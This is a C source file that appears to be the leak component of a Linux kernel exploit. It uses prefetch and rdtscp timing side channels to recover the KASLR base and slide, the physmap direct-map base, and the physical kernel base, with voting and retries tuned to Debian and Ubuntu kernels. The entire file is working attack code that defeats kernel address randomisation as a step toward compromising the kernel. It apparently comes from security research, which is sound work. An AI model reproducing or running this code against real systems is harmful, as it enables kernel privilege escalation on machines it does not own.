/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "leak.h"

#define KASLR_START 0xffffffff81000000ULL
#define KASLR_END (KASLR_START + 0x40000000ULL)
#define KASLR_SLOT_SIZE 0x200000ULL

#define PHYSMAP_START 0xffff888000000000ULL
#define PHYSMAP_END 0xffffa48000000000ULL
#define PHYSMAP_SLOT_SIZE 0x40000000ULL
#define PHYSMAP_PROBE_OFFSET 0x10000000ULL

static inline uint64_t rdtsc_begin(void)
{
	uint32_t lo, hi;

	asm volatile("mfence; rdtscp; lfence"
		     : "=a"(lo), "=d"(hi) : : "rcx", "memory");
	return ((uint64_t)hi << 32) | lo;
}

static inline uint64_t rdtsc_end(void)
{
	uint32_t lo, hi;

	asm volatile("lfence; rdtscp; mfence"
		     : "=a"(lo), "=d"(hi) : : "rcx", "memory");
	return ((uint64_t)hi << 32) | lo;
}

static inline uint64_t prefetch_time(uint64_t address)
{
	uint64_t before = rdtsc_begin();

	asm volatile("prefetchnta (%0); prefetcht2 (%0)"
		     : : "r"(address) : "memory");
	return rdtsc_end() - before;
}

static int compare_u64(const void *left, const void *right)
{
	uint64_t a = *(const uint64_t *)left;
	uint64_t b = *(const uint64_t *)right;

	return (a > b) - (a < b);
}

static uint64_t median_copy(const uint64_t *values, size_t count)
{
	uint64_t *copy = malloc(count * sizeof(*copy));
	uint64_t result;

	if (!copy) {
		perror("malloc leak median");
		exit(1);
	}
	memcpy(copy, values, count * sizeof(*copy));
	qsort(copy, count, sizeof(*copy), compare_u64);
	result = copy[count / 2];
	free(copy);
	return result;
}

static size_t find_edge(const uint64_t *timings, size_t count,
			size_t window)
{
	uint64_t median = median_copy(timings, count);
	uint64_t current = 0;
	uint64_t best;
	size_t best_slot = 0;

	if (!window || count < window) {
		fprintf(stderr, "invalid prefetch window\n");
		exit(1);
	}
	for (size_t i = 0; i < window; i++)
		current += timings[i] > median ? timings[i] - median :
						   median - timings[i];
	best = current;
	for (size_t i = 1; i <= count - window; i++) {
		uint64_t old = timings[i - 1];
		uint64_t add = timings[i + window - 1];

		current -= old > median ? old - median : median - old;
		current += add > median ? add - median : median - add;
		if (current > best) {
			best = current;
			best_slot = i;
		}
	}
	return best_slot;
}

static uint64_t image_trial(int map_pages)
{
	const size_t count = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
	uint64_t *timings = malloc(count * sizeof(*timings));
	size_t edge;
	uint64_t result;

	if (!timings) {
		perror("malloc KASLR timings");
		exit(1);
	}
	for (size_t i = 0; i < count; i++)
		timings[i] = UINT64_MAX;
	for (int sample = 0; sample < 100; sample++) {
		for (size_t i = 0; i < count; i++) {
			uint64_t value = prefetch_time(KASLR_START +
						       i * KASLR_SLOT_SIZE);

			if (value < timings[i])
				timings[i] = value;
		}
	}
	edge = find_edge(timings, count, map_pages);
	/* Debian's first detectable image slot is one 2-MiB slot after _text. */
	if (edge)
		edge--;
	result = KASLR_START + edge * KASLR_SLOT_SIZE;
	free(timings);
	return result;
}

uint64_t leak_image_slide(int map_pages)
{
	for (int round = 0; round < 5; round++) {
		uint64_t candidate[3];

		for (int i = 0; i < 3; i++)
			candidate[i] = image_trial(map_pages);
		for (int i = 0; i < 3; i++) {
			int votes = 0;

			for (int j = 0; j < 3; j++)
				votes += candidate[i] == candidate[j];
			if (votes >= 2) {
				printf("[!] Leaked KASLR base: 0x%llx\n",
				       (unsigned long long)candidate[i]);
				printf("[!] KASLR slide: 0x%llx\n",
				       (unsigned long long)(candidate[i] -
							KASLR_START));
				return candidate[i] - KASLR_START;
			}
		}
	}
	fprintf(stderr, "failed to leak KASLR base\n");
	exit(1);
}

uint64_t leak_image_slide_checked(void)
{
	/* A short edge window can occasionally lock onto a high-deviation
	 * subrange inside Ubuntu's image.  The 22-, 26-, and 30-slot windows all
	 * begin at the same edge when the full image is selected, so require a
	 * majority across all three window lengths and three fresh trials each. */
	static const int windows[] = { 22, 26, 30 };

	for (int round = 0; round < 5; round++) {
		uint64_t candidates[9];
		int used = 0;

		for (size_t window = 0;
		     window < sizeof(windows) / sizeof(windows[0]); window++)
			for (int trial = 0; trial < 3; trial++)
				candidates[used++] = image_trial(windows[window]);
		for (int i = 0; i < used; i++) {
			int votes = 0;

			for (int j = 0; j < used; j++)
				votes += candidates[i] == candidates[j];
			if (votes >= 5) {
				printf("[!] Checked KASLR base: %#llx (%d/9 votes)\n",
				       (unsigned long long)candidates[i], votes);
				return candidates[i] - KASLR_START;
			}
		}
		puts("[.] retrying inconsistent KASLR edge");
	}
	fprintf(stderr, "failed checked KASLR leak\n");
	exit(1);
}

static uint64_t physmap_trial(void)
{
	const size_t count = (PHYSMAP_END - PHYSMAP_START) / PHYSMAP_SLOT_SIZE;
	uint64_t *timings = malloc(count * sizeof(*timings));
	uint64_t result;

	if (!timings) {
		perror("malloc physmap timings");
		exit(1);
	}
	for (size_t i = 0; i < count; i++)
		timings[i] = UINT64_MAX;
	for (int sample = 0; sample < 20; sample++) {
		for (size_t i = 0; i < count; i++) {
			uint64_t address = PHYSMAP_START + i * PHYSMAP_SLOT_SIZE +
					   PHYSMAP_PROBE_OFFSET;
			uint64_t value = prefetch_time(address);

			if (value < timings[i])
				timings[i] = value;
		}
	}
	/*
	 * The maximum three-slot edge window starts two 1-GiB slots below
	 * page_offset_base on the stock Debian layout.  Returning that window
	 * start was the old helper's systematic -2 GiB bias.  The third slot is
	 * the actual randomized direct-map base (verified against page_offset_base
	 * across fresh diagnostic boots; the exploit itself uses no privileged
	 * oracle).
	 */
	result = PHYSMAP_START + (find_edge(timings, count, 3) + 2) *
		 PHYSMAP_SLOT_SIZE;
	free(timings);
	return result;
}

uint64_t leak_phys_map_base_stable(int unused_map_pages)
{
	uint64_t candidate[3];

	(void)unused_map_pages;
	for (int round = 0; round < 5; round++) {
		for (int i = 0; i < 3; i++)
			candidate[i] = physmap_trial();
		for (int i = 0; i < 3; i++) {
			int votes = 0;

			for (int j = 0; j < 3; j++)
				votes += candidate[i] == candidate[j];
			if (votes >= 2) {
				printf("[!] Leaked phys map base: 0x%llx\n",
				       (unsigned long long)candidate[i]);
				return candidate[i];
			}
		}
	}
	fprintf(stderr, "failed to leak physmap base\n");
	exit(1);
}

uint64_t leak_phys_map_base_checked(uint64_t physical_probe)
{
	enum { CANDIDATES = 7, POINTS = 5, ROUNDS = 15, SAMPLES = 63 };
	static unsigned int retry_depth;
	uint64_t rough = leak_phys_map_base_stable(0);
	uint64_t candidates[CANDIDATES];
	uint64_t deviation_rounds[CANDIDATES][ROUNDS];
	uint64_t scores[CANDIDATES];
	uint64_t best_score = 0;
	uint64_t best = rough;
	const uint64_t probes[] = {
		0x200000, 0x10000000, 0x20000000, 0x30000000,
		physical_probe,
	};

	/* The broad edge can select an adjacent 1-GiB alias.  Check it and six
	 * neighbours at several physical offsets.  Only the true base maps the
	 * CPU1 entry-stack probe near the end of this 1-GiB guest. */
	for (int candidate = 0; candidate < CANDIDATES; candidate++)
		candidates[candidate] = rough +
			(int64_t)(candidate - 4) * PHYSMAP_SLOT_SIZE;
	for (int round = 0; round < ROUNDS; round++) {
		uint64_t raw[CANDIDATES][POINTS];

		for (int candidate = 0; candidate < CANDIDATES; candidate++) {
			for (int point = 0; point < POINTS; point++) {
				uint64_t timings[SAMPLES];

				for (int sample = 0; sample < SAMPLES; sample++)
					timings[sample] = prefetch_time(
						candidates[candidate] + probes[point]);
				raw[candidate][point] =
					median_copy(timings, SAMPLES);
			}
		}
		for (int candidate = 0; candidate < CANDIDATES; candidate++) {
			uint64_t deviation = 0;

			for (int point = 0; point < POINTS; point++) {
				uint64_t values[CANDIDATES];
				uint64_t baseline;

				for (int i = 0; i < CANDIDATES; i++)
					values[i] = raw[i][point];
				baseline = median_copy(values, CANDIDATES);
				deviation += raw[candidate][point] > baseline ?
					raw[candidate][point] - baseline :
					baseline - raw[candidate][point];
			}
			deviation_rounds[candidate][round] = deviation;
		}
	}
	for (int candidate = 0; candidate < CANDIDATES; candidate++) {
		scores[candidate] = median_copy(deviation_rounds[candidate],
						ROUNDS);
		printf("[.] physmap check candidate=%#llx deviation=%llu\n",
		       (unsigned long long)candidates[candidate],
		       (unsigned long long)scores[candidate]);
		if (scores[candidate] > best_score) {
			best_score = scores[candidate];
			best = candidates[candidate];
		}
	}
	{
		int winners = 0;

		for (int candidate = 0; candidate < CANDIDATES; candidate++)
			winners += scores[candidate] == best_score;
		if (!best_score || winners != 1) {
			fprintf(stderr,
				"ambiguous physmap check (score=%llu winners=%d)\n",
				(unsigned long long)best_score, winners);
			if (retry_depth++ < 2) {
				puts("[.] retrying physmap leak");
				return leak_phys_map_base_checked(physical_probe);
			}
			retry_depth = 0;
			exit(1);
		}
	}
	retry_depth = 0;
	printf("[!] Checked phys map base: 0x%llx\n",
	       (unsigned long long)best);
	return best;
}

static uint64_t kernel_phys_trial(uint64_t physmap_base, int map_pages)
{
	/* mark_rodata_ro() splits the physical aliases covering the kernel image
	 * out of the normal 1-GiB direct-map leaf.  The extra page-table level is
	 * visible to PREFETCH just like the virtual KASLR image edge. */
	const size_t count = UINT64_C(0x40000000) / KASLR_SLOT_SIZE;
	uint64_t *timings = malloc(count * sizeof(*timings));
	size_t edge;

	if (!timings) {
		perror("malloc kernel physical timings");
		exit(1);
	}
	for (size_t i = 0; i < count; i++)
		timings[i] = UINT64_MAX;
	for (int sample = 0; sample < 100; sample++) {
		for (size_t i = 0; i < count; i++) {
			uint64_t value = prefetch_time(physmap_base +
					       i * KASLR_SLOT_SIZE);

			if (value < timings[i])
				timings[i] = value;
		}
	}
	edge = find_edge(timings, count, (size_t)map_pages);
	free(timings);
	return edge * KASLR_SLOT_SIZE;
}

uint64_t leak_kernel_phys_base(uint64_t physmap_base, int map_pages)
{
	for (int round = 0; round < 5; round++) {
		uint64_t candidate[3];

		for (int i = 0; i < 3; i++)
			candidate[i] = kernel_phys_trial(physmap_base, map_pages);
		for (int i = 0; i < 3; i++) {
			int votes = 0;

			for (int j = 0; j < 3; j++)
				votes += candidate[i] == candidate[j];
			if (votes >= 2) {
				printf("[!] Leaked physical kernel base: %#llx\n",
				       (unsigned long long)candidate[i]);
				return candidate[i];
			}
		}
	}
	fprintf(stderr, "failed to leak physical kernel base\n");
	exit(1);
}